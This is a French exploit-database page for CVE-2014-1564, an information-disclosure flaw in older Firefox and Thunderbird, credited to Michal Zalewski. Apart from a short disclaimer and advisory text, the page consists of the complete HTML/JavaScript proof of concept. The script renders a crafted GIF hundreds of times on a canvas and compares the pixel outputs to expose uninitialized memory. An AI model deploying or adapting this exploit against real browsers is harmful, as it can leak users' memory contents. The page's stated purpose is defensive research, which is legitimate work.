Exploit matérialisé

CVE-2014-1564

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

ExploitDB remote multiple Vérifié

Source

Mozilla Firefox 9.0.1 / Thunderbird 3.1.20 - Information Disclosure

Par Michal Zalewski

Comment tester cet exploit

Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.

Code js

source: https://www.securityfocus.com/bid/69525/info

Mozilla Firefox and Thunderbird are prone to an information-disclosure vulnerability.

Attackers can exploit this issue to disclose sensitive information that may aid in further attacks.

This issue is fixed in:

Firefox 32
Firefox ESR 31.1
Thunderbird 31.1

<style>
body {
  background-color: #d0d0d0;
}

img {
  border: 1px solid teal;
  margin: 1ex;
}

canvas {
  border: 1px solid crimson;
  margin: 1ex;
}
</style>

<body onload="set_images()">

<div id="status">
</div>

<div id="image_div">
</div>

<canvas height=32 width=32 id=cvs>
</canvas>

<h2>Variants:</h2>

<ul id="output">
</ul>

<script>
var c = document.getElementById('cvs');
var ctx = c.getContext('2d');

var loaded = 0;
var image_obj = [];
var USE_IMAGES = 300;

function check_results() {

  var uniques = [];

  uniques.push(image_obj[0].imgdata);

  document.getElementById('output').innerHTML +=
    '<img src="' + image_obj[0].imgdata + '">';

  for (var i = 1; i < USE_IMAGES; i++) {

    if (image_obj[0].imgdata != image_obj[i].imgdata) {

      for (var j = 1; j < uniques.length; j++)
        if (uniques[j] == image_obj[i].imgdata) break;

      if (j == uniques.length) {

        uniques.push(image_obj[i].imgdata);

        document.getElementById('output').innerHTML +=
          '<img src="' + image_obj[i].imgdata + '">';


      }


    }

  }

  if (uniques.length > 1)
    alert('The image has ' + uniques.length + ' variants when rendered. Looks like you have a problem.');
  else
    alert('The image has just one variant when rendered. You\'re probably OK.');

}


function count_image() {

  loaded++;

  ctx.clearRect(0, 0, 32, 32);

  try {
    ctx.drawImage(this, 0, 0, 32, 32);
  } catch (e) { }

  this.imgdata = c.toDataURL();

  if (loaded == USE_IMAGES) check_results();

}


function set_images() {

  loaded = 0;
  create_images();

  for (var i = 0; i < USE_IMAGES; i++)
    image_obj[i].src = './id:000110,src:000023.gif?' + Math.random();

}


function create_images() {

  for (var i = 0; i < USE_IMAGES; i++) {

    image_obj[i] = new Image();
    image_obj[i].height = 32;
    image_obj[i].width = 32;
    image_obj[i].onerror = count_image;
    image_obj[i].onload = count_image;

    document.getElementById('image_div').appendChild(image_obj[i]);

  }

}


</script>


<iframe src='http://www.example.com/'></iframe>